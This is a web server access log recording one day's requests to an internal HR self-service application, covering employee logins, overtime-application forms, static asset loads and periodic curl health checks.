192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10340
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10340 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:48 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:48 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:48 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:48 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:48 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:48 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:48 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:48 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:48 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:48 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:48 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:48 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:48 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:11:34:48 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:34:48 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:11:34:48 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:34:57 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:57 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829
192.168.11.81 - - [06/Sep/2025:11:38:05 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.81 - - [06/Sep/2025:11:38:05 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.81 - - [06/Sep/2025:11:38:06 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.81 - - [06/Sep/2025:11:38:06 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.81 - - [06/Sep/2025:11:40:51 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.81 - - [06/Sep/2025:11:40:51 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.81 - - [06/Sep/2025:11:40:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.81 - - [06/Sep/2025:11:40:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.81 - - [06/Sep/2025:11:41:01 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.81 - - [06/Sep/2025:11:41:01 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.81 - - [06/Sep/2025:11:41:02 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.81 - - [06/Sep/2025:11:41:02 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.81 - - [06/Sep/2025:11:41:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.81 - - [06/Sep/2025:11:41:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.81 - - [06/Sep/2025:11:41:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.81 - - [06/Sep/2025:11:41:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.81 - - [06/Sep/2025:11:41:45 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5146819060913228 HTTP/1.1" 200 8420 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.81 - - [06/Sep/2025:11:41:45 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5146819060913228 HTTP/1.1" 200 8420
192.168.11.81 - - [06/Sep/2025:11:41:47 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5146819060913228 HTTP/1.1" 200 11837 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5146819060913228" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.81 - - [06/Sep/2025:11:41:47 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5146819060913228 HTTP/1.1" 200 11837
192.168.11.81 - - [06/Sep/2025:11:42:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4057 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.81 - - [06/Sep/2025:11:42:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4057
100.64.0.1 - - [06/Sep/2025:11:52:28 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:11:52:28 +0800] "GET / HTTP/1.1" 200 439
192.168.11.131 - - [06/Sep/2025:11:53:17 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [06/Sep/2025:11:53:17 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.131 - - [06/Sep/2025:11:53:20 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [06/Sep/2025:11:53:20 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
100.64.0.1 - - [06/Sep/2025:11:53:27 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:11:53:27 +0800] "GET / HTTP/1.1" 200 439
192.168.11.131 - - [06/Sep/2025:11:53:25 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.131 - - [06/Sep/2025:11:53:25 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [06/Sep/2025:11:53:31 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.131 - - [06/Sep/2025:11:53:31 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [06/Sep/2025:11:53:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.131 - - [06/Sep/2025:11:53:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [06/Sep/2025:11:54:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [06/Sep/2025:11:54:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.131 - - [06/Sep/2025:11:54:14 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.26994215989723447 HTTP/1.1" 200 8588 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [06/Sep/2025:11:54:14 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.26994215989723447 HTTP/1.1" 200 8588
192.168.11.131 - - [06/Sep/2025:11:54:17 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.26994215989723447 HTTP/1.1" 200 14552 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.26994215989723447" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [06/Sep/2025:11:54:17 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.26994215989723447 HTTP/1.1" 200 14552
100.64.0.1 - - [06/Sep/2025:11:55:12 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:11:55:12 +0800] "GET / HTTP/1.1" 200 439
192.168.11.131 - - [06/Sep/2025:11:55:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [06/Sep/2025:11:55:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065
192.168.11.131 - - [06/Sep/2025:11:55:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [06/Sep/2025:11:55:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
100.64.0.1 - - [06/Sep/2025:11:56:09 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:11:56:09 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:12:15:40 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:12:15:40 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:12:18:47 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:12:18:47 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:12:24:33 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E8701213DA8C3C715FD07D8C11A1F10C5041A30BF3B4B190B6BE13CA3749EF1F7A0B62C6CE641105382E4AB0061EEB7F83C07C41551F85292DD HTTP/1.1" 200 - "-" "-"
100.64.0.1 - - [06/Sep/2025:12:24:33 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E8701213DA8C3C715FD07D8C11A1F10C5041A30BF3B4B190B6BE13CA3749EF1F7A0B62C6CE641105382E4AB0061EEB7F83C07C41551F85292DD HTTP/1.1" 200 -
192.168.185.139 - - [06/Sep/2025:12:24:35 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E8701213DA8C3C715FD07D8C11A1F10C5041A30BF3B4B190B6BE13CA3749EF1F7A0B62C6CE641105382E4AB0061EEB7F83C07C41551F85292DD HTTP/1.1" 200 4344 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.185.139 - - [06/Sep/2025:12:24:35 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E8701213DA8C3C715FD07D8C11A1F10C5041A30BF3B4B190B6BE13CA3749EF1F7A0B62C6CE641105382E4AB0061EEB7F83C07C41551F85292DD HTTP/1.1" 200 4344
192.168.185.139 - - [06/Sep/2025:12:24:35 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240
192.168.185.139 - - [06/Sep/2025:12:24:35 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E8701213DA8C3C715FD07D8C11A1F10C5041A30BF3B4B190B6BE13CA3749EF1F7A0B62C6CE641105382E4AB0061EEB7F83C07C41551F85292DD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [06/Sep/2025:12:34:23 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:12:34:23 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:12:34:24 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:12:34:24 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:12:41:26 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:12:41:26 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:12:42:34 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:12:42:34 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:13:08:27 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:13:08:27 +0800] "GET / HTTP/1.1" 200 439
192.168.11.197 - - [06/Sep/2025:13:08:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.197 - - [06/Sep/2025:13:08:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066
192.168.11.197 - - [06/Sep/2025:13:08:51 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
